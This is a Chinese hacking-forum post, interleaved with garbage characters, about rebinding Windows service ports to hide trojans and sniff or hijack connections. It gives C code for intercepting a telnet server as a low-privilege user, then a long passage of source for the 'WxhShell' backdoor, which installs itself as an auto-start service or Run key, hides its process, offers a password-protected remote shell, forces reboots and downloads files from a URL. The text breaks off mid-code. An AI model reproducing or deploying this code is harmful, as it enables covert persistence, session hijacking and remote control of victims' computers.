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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 1HXlHic  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); @fDQ^ 4  
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  saddr.sin_family = AF_INET; R8{e&n PE  
b60[({A\s&  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); <"NyC?b+G  
Uk"Y/Ddm  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 6 <r2*`  
toN  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 4 f3=`[%  
=u[rOU{X"W  
  这意味着什么?意味着可以进行如下的攻击: 1bDJ}M~]z  
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  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 y$v@wb5  
9M0d+:YJ  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 7Ff?Ysr  
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  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 x{QBMe`  
B^Bbso'{1  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  I-,Xwj-  
?V6 %>RU  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 [M<{P5q  
){jqfkL  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 D;J|eC>^  
S].Ft/+H  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 !}j,TPpG  
"h`54 }0  
  #include # s,Y% Bce  
  #include _p$"NNFN  
  #include HcDyD0;L.  
  #include    t0I>5#*WU  
  DWORD WINAPI ClientThread(LPVOID lpParam);   S--/<a2  
  int main() K#iK6)tS  
  { JgxA^>|9;  
  WORD wVersionRequested; VEr 6uvB  
  DWORD ret; j& <tdORT  
  WSADATA wsaData; d{iL?>'?^  
  BOOL val; +H?<}N*T  
  SOCKADDR_IN saddr;  }Olr  
  SOCKADDR_IN scaddr; Qlf 9]ug)  
  int err; g8rp|MOH  
  SOCKET s; Kyyih|{  
  SOCKET sc; 3[,wMy"  
  int caddsize; lJ("6aT?  
  HANDLE mt; rS=tcB O  
  DWORD tid;   c-ttds  
  wVersionRequested = MAKEWORD( 2, 2 ); sio)_8tp  
  err = WSAStartup( wVersionRequested, &wsaData ); } =xI3;7  
  if ( err != 0 ) { /bu'6/!`  
  printf("error!WSAStartup failed!\n"); KuU3DTS85Z  
  return -1; HgS<Vxmq  
  } 65;|cmjv  
  saddr.sin_family = AF_INET; tru;;.lj8K  
   fuQ4rt[i  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 (q~R5)D  
?'TA!MR  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 3^j~~ "2,w  
  saddr.sin_port = htons(23); y @]8Ep  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) DBLA% {05  
  { |K'Gw}fX/  
  printf("error!socket failed!\n"); ,^n-L&  
  return -1; RCoeJ|  
  } d.L OyO  
  val = TRUE; Dl>*L  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 %_]=i@Y~  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 3$MYS^D  
  { r.Y*{!t  
  printf("error!setsockopt failed!\n"); T$#FAEz  
  return -1; iLjuE)6-$  
  } d3\OHkM0^  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 9k(*?!\;  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ]u\  `  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 DxE^#=7iH;  
2Px$0&VN  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) XhQw+j~1.  
  { gcQ.  YP9  
  ret=GetLastError(); $'WapxF  
  printf("error!bind failed!\n"); Mp]yKl  
  return -1; 4jDs0Hn"  
  } .vCY%0oE  
  listen(s,2); =# k<Kw#  
  while(1) deR$  
  { bbfDt^  
  caddsize = sizeof(scaddr); N |OMj%Uk  
  //接受连接请求 CpUI|Rs  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); g5lmUKlQ$0  
  if(sc!=INVALID_SOCKET) ^zBjG/'7  
  { bE VO<x+  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); '*o7_Ez-{  
  if(mt==NULL) bd@*vu}?}  
  { %s~NQ;Y  
  printf("Thread Creat Failed!\n"); N1D6D$s0  
  break; ORV}j, Ym  
  } V%X:1 8j  
  } x`};{oz;  
  CloseHandle(mt); 'd|Q4RE+W  
  } [0mFy) 6  
  closesocket(s); @Fm{6^  
  WSACleanup(); i6meY$l  
  return 0; ^8o_Iz)r,  
  }   2N8rM}?90  
  DWORD WINAPI ClientThread(LPVOID lpParam) :t2 9`x  
  { Z;|0"K  
  SOCKET ss = (SOCKET)lpParam; vjOG?-  
  SOCKET sc; 2VoEQ  
  unsigned char buf[4096]; lM@<_=2  
  SOCKADDR_IN saddr; \;3B?8wbIl  
  long num;  ;'2`M  
  DWORD val; w>`h3;,2  
  DWORD ret; c+,7Zu!  
  //如果是隐藏端口应用的话,可以在此处加一些判断 x>1iIpBv^  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   aB$y+`f)@  
  saddr.sin_family = AF_INET; dv1x 78xG>  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); +cPE4(d  
  saddr.sin_port = htons(23); \Owful  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) yFPaWW  
  { Sleu#]-  
  printf("error!socket failed!\n"); *G2)@0 {  
  return -1; iylBK!ou  
  } kT Z?+hx  
  val = 100; @2GhN&=  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) NB!'u) lFD  
  { >|UrxJ7  
  ret = GetLastError(); * zw R=  
  return -1; I =tyQ`  
  } 4 ~MJ4:  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Zq\RNZ}  
  { Yj^avO=;  
  ret = GetLastError(); 1sIy*z  
  return -1; 7d M6;`V^  
  } &;~2sEo,  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) X]&;8  
  { LK   
  printf("error!socket connect failed!\n"); ei+9G,  
  closesocket(sc); !]{1h  
  closesocket(ss); #f|NM7  
  return -1; 'XZI{q2i  
  } y(bt56 | z  
  while(1) hX>VVeIZ  
  { .b_0k<M!p  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ]<\;d B  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ^LEmi1L  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 P/C+L[X=  
  num = recv(ss,buf,4096,0); Z uFV tW@  
  if(num>0) g "K#&  
  send(sc,buf,num,0); #Vn>ue+?  
  else if(num==0) K c2OLz#  
  break; $ +GFOO  
  num = recv(sc,buf,4096,0); @^y?Bh9jQ  
  if(num>0) }ZM*[j  
  send(ss,buf,num,0); EL 8N[]RF  
  else if(num==0) [G'!`^V,  
  break; [0tf Y0  
  } m>*A0&??[  
  closesocket(ss); E.H,1 {  
  closesocket(sc); $$bTd3N+  
  return 0 ; XL.CJ5y>  
  } Z}'F"}QI  
1{hoO<CJ  
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========================================================== z 1#0  
/]MB6E7&  
下边附上一个代码,,WXhSHELL V. bH$@ej  
!UgUXN*  
========================================================== U&]p!DV&;  
+LI*!(T|lm  
#include "stdafx.h" 5E\<r /FeJ  
aCYm$6LmA  
#include <stdio.h> w ~L\Ebg  
#include <string.h> JK:mQ_  
#include <windows.h> mNnw G);$  
#include <winsock2.h> \AtwO  
#include <winsvc.h> Kl46CZs#8  
#include <urlmon.h> 8~[C'+r  
uJ)=+Exii  
#pragma comment (lib, "Ws2_32.lib") f9 l<$l  
#pragma comment (lib, "urlmon.lib") o {Xw Li  
|peMr#  
#define MAX_USER   100 // 最大客户端连接数 z[|PsC3i:  
#define BUF_SOCK   200 // sock buffer |0%4G k);  
#define KEY_BUFF   255 // 输入 buffer $!l2=^\3  
eUKl Co  
#define REBOOT     0   // 重启 rjpafGCp  
#define SHUTDOWN   1   // 关机 OFQi&/  
]"7DV3_  
#define DEF_PORT   5000 // 监听端口 yhkQFB%gv  
_/sf@R  
#define REG_LEN     16   // 注册表键长度 CSX$Pk*  
#define SVC_LEN     80   // NT服务名长度 O"J.k&C<,  
H/@M  
// 从dll定义API ,@'){V  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); LD~uI  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); x@ s`;qz  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); n6!Ihip$  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ssr)f8R#,#  
CI~;B  
// wxhshell配置信息 $R$c1C'oX  
struct WSCFG { uVuToMCp  
  int ws_port;         // 监听端口 {DXZ}7w:v  
  char ws_passstr[REG_LEN]; // 口令 VG'(   
  int ws_autoins;       // 安装标记, 1=yes 0=no I>8@=V~  
  char ws_regname[REG_LEN]; // 注册表键名 d-N"mI-  
  char ws_svcname[REG_LEN]; // 服务名 ,^+R%7mv  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 @Y&9S)xcE  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 pv m'pu78  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 aWsKJo>j[#  
int ws_downexe;       // 下载执行标记, 1=yes 0=no iq^L~RW5e  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" o4[2`mT  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 18/@:u{  
M(h H#_ $  
}; \2<yZCn  
mN'9|`>V>  
// default Wxhshell configuration HsgTHe  
struct WSCFG wscfg={DEF_PORT, w)m0Z4*  
    "xuhuanlingzhe", 9-E>n)  
    1, UQf>5g  
    "Wxhshell", _6-/S!7Y\  
    "Wxhshell", *UL|{_)c  
            "WxhShell Service", ^qus `6  
    "Wrsky Windows CmdShell Service", <9k}CXv2PK  
    "Please Input Your Password: ", kzVI:  
  1, +@],$=aE?  
  "http://www.wrsky.com/wxhshell.exe", &9lc\Y4PY  
  "Wxhshell.exe" HlL@{<  
    }; 2-E71-J  
{O&liU4  
// 消息定义模块 (z1%lZ}(  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; vYt:}$AE  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 9c;lTl^4;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; +#I~#CV!  
char *msg_ws_ext="\n\rExit."; o&F.mYnqX  
char *msg_ws_end="\n\rQuit."; O+o%C*`K  
char *msg_ws_boot="\n\rReboot..."; "g:&Ge*X  
char *msg_ws_poff="\n\rShutdown..."; zkMO3w>  
char *msg_ws_down="\n\rSave to "; qp_ `Fj:  
]o+|jgkt]  
char *msg_ws_err="\n\rErr!"; ,/b/O4`;y  
char *msg_ws_ok="\n\rOK!"; >scS wT  
IV)W|/.  
char ExeFile[MAX_PATH]; 5Kw?SRFH/  
int nUser = 0; MqBATW.pmJ  
HANDLE handles[MAX_USER]; 0^lL,rC   
int OsIsNt; |p4OlUq  
h7]]F{r5  
SERVICE_STATUS       serviceStatus; @1ta`7#  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; pvR& ~g  
bSmaE7  
// 函数声明 Mjvso0zj  
int Install(void); cf!k 9x9Z  
int Uninstall(void); Cm}UWX  
int DownloadFile(char *sURL, SOCKET wsh); &CmkNm_B  
int Boot(int flag); @"0N@gU  
void HideProc(void); K<w5[E9V.  
int GetOsVer(void); Q|<?$.FN"8  
int Wxhshell(SOCKET wsl); VaI P  
void TalkWithClient(void *cs); ` dUiz5o'  
int CmdShell(SOCKET sock); S 2 h  
int StartFromService(void); ;Kq?*H  
int StartWxhshell(LPSTR lpCmdLine); DPxu3,Y  
}~C ZqIP  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); x0;}b-f  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); T\s#-f[x  
 ;yER V  
// 数据结构和表定义 RHAr[$  
SERVICE_TABLE_ENTRY DispatchTable[] = XXwhs-:o  
{ q vVZA*  
{wscfg.ws_svcname, NTServiceMain}, x7 1!r  
{NULL, NULL} Xsn- +e  
}; gwz _b  
udy;Odt  
// 自我安装 ~kJpBt7M  
int Install(void) wXZY5-h4  
{ R Mt vEa  
  char svExeFile[MAX_PATH]; _vLT!y  
  HKEY key; Q0; gF?  
  strcpy(svExeFile,ExeFile); 4$2T zJE  
!cq| g  
// 如果是win9x系统,修改注册表设为自启动 coVT+we  
if(!OsIsNt) { M)pi)$&c  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { BBJ]>lQ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %` [`I>  
  RegCloseKey(key); +\oHQ=s>}\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { molowPI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); JI,hy <3l0  
  RegCloseKey(key); !X <n:J  
  return 0; kpw4Mq@  
    } <T/L.>p4  
  } Kcdd=2 [T  
} >T^v4A  
else { *-LU'yM6Yh  
y8S6ZtA}2  
// 如果是NT以上系统,安装为系统服务 q<uLBaL_]r  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &&S4x  
if (schSCManager!=0) eRy'N|'  
{ YY<?w  
  SC_HANDLE schService = CreateService <_q/ +x]8  
  ( ;f^jB;\<  
  schSCManager, .u;TeP  
  wscfg.ws_svcname, 9k^=m)yS'  
  wscfg.ws_svcdisp, D"f(nVEr  
  SERVICE_ALL_ACCESS, 4H=sD t  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , E d/O\v@  
  SERVICE_AUTO_START, )-"L4TC)  
  SERVICE_ERROR_NORMAL, *dTf(J  
  svExeFile, lFV|GJ  
  NULL, :{uUc  
  NULL, s(.-bjR  
  NULL, @N{Ht)1r  
  NULL, |+~2sbM  
  NULL 3i}B\ {  
  ); ~MQf($]  
  if (schService!=0) Q%1;{5   
  { Z|dZc wo  
  CloseServiceHandle(schService); F X2`p_  
  CloseServiceHandle(schSCManager); h#ot)m|I  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <!(n5y_  
  strcat(svExeFile,wscfg.ws_svcname); 2=M!lB *  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { \)uad5`N  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); SZD2'UaG  
  RegCloseKey(key); 1AV1W_"  
  return 0; 9d}nyJ  
    } 8J1.(Mwb?  
  } J*C*](  
  CloseServiceHandle(schSCManager); \bSHBTK  
} V=MZOj6  
} 9cj-v}5j  
\^LR5S&  
return 1; F|Ihq^q  
} ZSt ww{Z  
!I/kz }N@  
// 自我卸载 ?R:Hj=.  
int Uninstall(void) ve^MqW&S  
{ 'oL[rO~j  
  HKEY key; "TJ^Z!  
P`9A?aG.Z  
if(!OsIsNt) { {Dq51  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6l7a9IJ  
  RegDeleteValue(key,wscfg.ws_regname); B[X6A Qj}d  
  RegCloseKey(key); to=##&ld<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 94@!.11  
  RegDeleteValue(key,wscfg.ws_regname); Y,\mrW}K   
  RegCloseKey(key); BniVZCct  
  return 0; (Fd4Gw<sq  
  } io3'h:+9s  
} l'\b(3JF  
} e"/X*xA  
else { C8q-gP[  
8!>pFVNJf  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); AR3=G>hO,  
if (schSCManager!=0) L"/ato  
{ e,UgTxZ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); q~_jF$9SX  
  if (schService!=0) i=QhX CM  
  { ,jcp"-5#j  
  if(DeleteService(schService)!=0) { U.(_n  
  CloseServiceHandle(schService); r1atyK  
  CloseServiceHandle(schSCManager); o2jB~}VMl  
  return 0; hDMp^^$  
  } =oDrN7`,B  
  CloseServiceHandle(schService); "iGc'?/+  
  } -h`0v  
  CloseServiceHandle(schSCManager); H4Ek,m|c  
} L1i> %5:g  
} )D*xOajo+l  
&W!@3O{~.  
return 1; a<.@+sj{  
} EtGr& \,  
.r'.5RI A  
// 从指定url下载文件 ]NsaFDi\  
int DownloadFile(char *sURL, SOCKET wsh) rRel\8  
{ Y%@'a~  
  HRESULT hr; \YS\* 'F  
char seps[]= "/"; $7YLU{0  
char *token; _Y {g5t  
char *file; b] V=wZ o  
char myURL[MAX_PATH]; V=~dgy ~@  
char myFILE[MAX_PATH]; ek!N eu>  
E5Jk+6EcMa  
strcpy(myURL,sURL); Yg.u8{H  
  token=strtok(myURL,seps); :tG5~sK  
  while(token!=NULL) Q.\ovk~,a  
  { xRN$cZC  
    file=token; I5?LD=tt  
  token=strtok(NULL,seps); 9~I WGj?  
  } _P1-d`b0 a  
j"s(?  
GetCurrentDirectory(MAX_PATH,myFILE); MJ08@xGa  
strcat(myFILE, "\\"); xpwzzO*U  
strcat(myFILE, file); cTp+M L  
  send(wsh,myFILE,strlen(myFILE),0); d o7{  
send(wsh,"...",3,0); xW~@V)OH  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); FG\?_G  
  if(hr==S_OK) %xz02$k  
return 0; sNVD"M,  
else S(l^TF  
return 1; WcFZRy-erc  
\-yi#N  
} 6I0MJpLW  
my6T@0R  
// 系统电源模块 ]du~V?N   
int Boot(int flag) H1M>60*  
{ xd<68%Cn  
  HANDLE hToken; zu%pr95U  
  TOKEN_PRIVILEGES tkp; YeJdkt  
p4 PFoFo2  
  if(OsIsNt) { 6:pN?|=6X  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Y~!@  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); v%^H9aK_  
    tkp.PrivilegeCount = 1; }=FQKqtC  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; fHi+PEbR  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); jXf-+ ;ZQ  
if(flag==REBOOT) { W+X zU"l  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 5hMiCod  
  return 0; )j'b7)W\  
} .O^|MhBJu  
else { 0 CS_-  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) +qec>ALAg  
  return 0; NYeg,{q  
} a\MJbBXv  
  } :e;fs.C  
  else { \Y$NGB=2[  
if(flag==REBOOT) { Tw5BvB1  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) }s[/b"%y  
  return 0; ]\U'_G2]  
} ZHJzh\?  
else { aXagiz\;  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Wwz{98,K  
  return 0; -j,o:ng0  
} }1wuH  
} I_rVeMw=  
4dP_'0]9A:  
return 1; ) LG/n  
} Y'T#  
p pq#5t^[)  
// win9x进程隐藏模块 ",m5}mk:4  
void HideProc(void) xT/&'$@{)  
{ r[~$  
.B*)A.   
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); sBwgl9  
  if ( hKernel != NULL ) Ih0GzyU*4  
  { ` g~-5Z~J  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); AXCJFqk;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); m[f\I^ \%8  
    FreeLibrary(hKernel); %y q}4[S+o  
  } I f(_$>  
uu>g(q?4II  
return;  a4yU[KK  
} *bx cq  
.z"[z^/uF  
// 获取操作系统版本 8 _J:Yg  
int GetOsVer(void) XN@5TZoaW  
{ 4/4IZfznX  
  OSVERSIONINFO winfo; I}X8-WFB  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;z68`P-  
  GetVersionEx(&winfo); =3'wHl  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _u0dt) $  
  return 1; 7o<RvM  
  else ;/.ZYTD  
  return 0; z,tax`O  
} _!C H  
RjT[y: !  
// 客户端句柄模块 a/ZfPl0Ns[  
int Wxhshell(SOCKET wsl) '};Xb|msU  
{ ,x/j&S9!  
  SOCKET wsh; "'Q:%_;  
  struct sockaddr_in client; 62"ND+D4  
  DWORD myID; @."R9s  
*uIHa"  
  while(nUser<MAX_USER) rZEu@63  
{ ?S_S.Bd  
  int nSize=sizeof(client); R~i<*  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <bH>\@p7}  
  if(wsh==INVALID_SOCKET) return 1; Z& %61jGK  
waC%o%fD  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); {f)p|)  
if(handles[nUser]==0) seq$]  
  closesocket(wsh); FD<~?-  
else a'Z"Yz^Eo  
  nUser++; ]q j%6tz  
  } L2$%h1  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); E=y#~W  
7>nA;F 8_  
  return 0; !q X 7   
} Wg[`H=)Q  
t`?FSV  
// 关闭 socket zri<'W  
void CloseIt(SOCKET wsh) wv<"W@& 9  
{ XxIUB(.QI  
closesocket(wsh); 7Q`4*H6  
nUser--; wcO+P7g  
ExitThread(0); AXyuXB  
} SG~R!kN}Q  
cH#` f4  
// 客户端请求句柄 =<g\B?s]  
void TalkWithClient(void *cs) d+(~{xK:  
{ Jd |hwvwFe  
1#'wR3[+  
  SOCKET wsh=(SOCKET)cs; <ANKoPNie  
  char pwd[SVC_LEN]; loZfzN&6A  
  char cmd[KEY_BUFF]; Na=q(OKN  
char chr[1]; ukw'$Yt2  
int i,j; N5_v}<CN  
h3:k$`_  
  while (nUser < MAX_USER) { 9u9#&xx  
"x{S3v4Rb5  
if(wscfg.ws_passstr) { /4|qfF3  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Uz0mSfBp  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G -;Yua2\  
  //ZeroMemory(pwd,KEY_BUFF); 7(jt:V6V  
      i=0; a}wB7B;,g  
  while(i<SVC_LEN) { w4OVfTlN  
K46\Rm_:B;  
  // 设置超时 .JzO f[g5  
  fd_set FdRead;  np~oF  
  struct timeval TimeOut; ISl'g'o  
  FD_ZERO(&FdRead); a^2?W  
  FD_SET(wsh,&FdRead); |$D^LY  
  TimeOut.tv_sec=8; 1}(g=S  
  TimeOut.tv_usec=0; HJ2]xe09  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Z#F2<*+Pe  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); FOZqN K  
S\C   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A%9"7]:   
  pwd=chr[0]; lU@ni(69d  
  if(chr[0]==0xd || chr[0]==0xa) { B *:6U+I  
  pwd=0; 1:,aFp>qr  
  break; wj/r)rv E  
  } ua0k)4|  
  i++; Sh"} c2  
    } M?_VYK  
03MB,  
  // 如果是非法用户,关闭 socket 4'{j'kuv  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $tb$gO  
} bC&_OU:  
_+UD>u{  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); l_8t[  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s?=J#WV1y  
_h5@3>b3r  
while(1) { H}:apRb  
3&}wfK]X  
  ZeroMemory(cmd,KEY_BUFF); [p]Ayo$~  
7c+u+Yet  
      // 自动支持客户端 telnet标准   }g3)z%Xe'[  
  j=0; BqR8%F  
  while(j<KEY_BUFF) { a/?gp>M9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <uA|nYpp  
  cmd[j]=chr[0]; Z!#zr@'k  
  if(chr[0]==0xa || chr[0]==0xd) { d/;oNC+  
  cmd[j]=0; 7Npz {C{I  
  break; iJq}tIk#2'  
  } #fa~^]EM]  
  j++; gP<l  
    } 50CU|  
N?~K9jGx(  
  // 下载文件 ;X\!*Loe  
  if(strstr(cmd,"http://")) { NxNz(R $~  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); )2\6 Fy0S  
  if(DownloadFile(cmd,wsh)) N 4Dyec\  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); *iYs,4  
  else &359tG0@P  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [u~#F,_ow  
  } B=9|g1e  
  else { |vzGFfRI  
h8nJ$jg  
    switch(cmd[0]) { ?+51 B-  
  L!5%;!>.P  
  // 帮助 S9mj/GpL3  
  case '?': { e\/Lcng  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); C,K P!B{  
    break; Zr`:A$  
  } N2C^'dFj  
  // 安装 XO\P4x :c  
  case 'i': { +HNQ2YZ  
    if(Install()) ]F-{)j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7:;P>sF@  
    else Pg5 1}{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G:f]z;Xdp  
    break; o-/Xa[yC  
    } 9!PJLI=D  
  // 卸载 l^&#fz  
  case 'r': { V7 c7(G  
    if(Uninstall()) z )k\p'0"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i5|!M IY  
    else ?(hdV ?8)P  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yay{lP}b"  
    break; (]rtBeT  
    } n;4` IK|  
  // 显示 wxhshell 所在路径 eja_+`cJ  
  case 'p': { EpS"NQEe  
    char svExeFile[MAX_PATH]; YwEXTy>0  
    strcpy(svExeFile,"\n\r"); Z5\u9E"]  
      strcat(svExeFile,ExeFile); Zs)HzOP)9  
        send(wsh,svExeFile,strlen(svExeFile),0); ^cd+W?  
    break; 4K:p  
    } @TsOc0?-  
  // 重启 }F**!%4d  
  case 'b': { *YYm;J'  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Q-(twh  
    if(Boot(REBOOT)) O']-<E`1k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p ^T0(\1  
    else { 2{g~6 U.  
    closesocket(wsh); Hb IRE  
    ExitThread(0); K6_{AuL}4  
    } FjVC&+c  
    break; D@&0 P&  
    } 'Aai.PE:  
  // 关机 ,+%$vV .g\  
  case 'd': { .\qZkk}2l  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); <[kdF")  
    if(Boot(SHUTDOWN)) =((#kDrN  
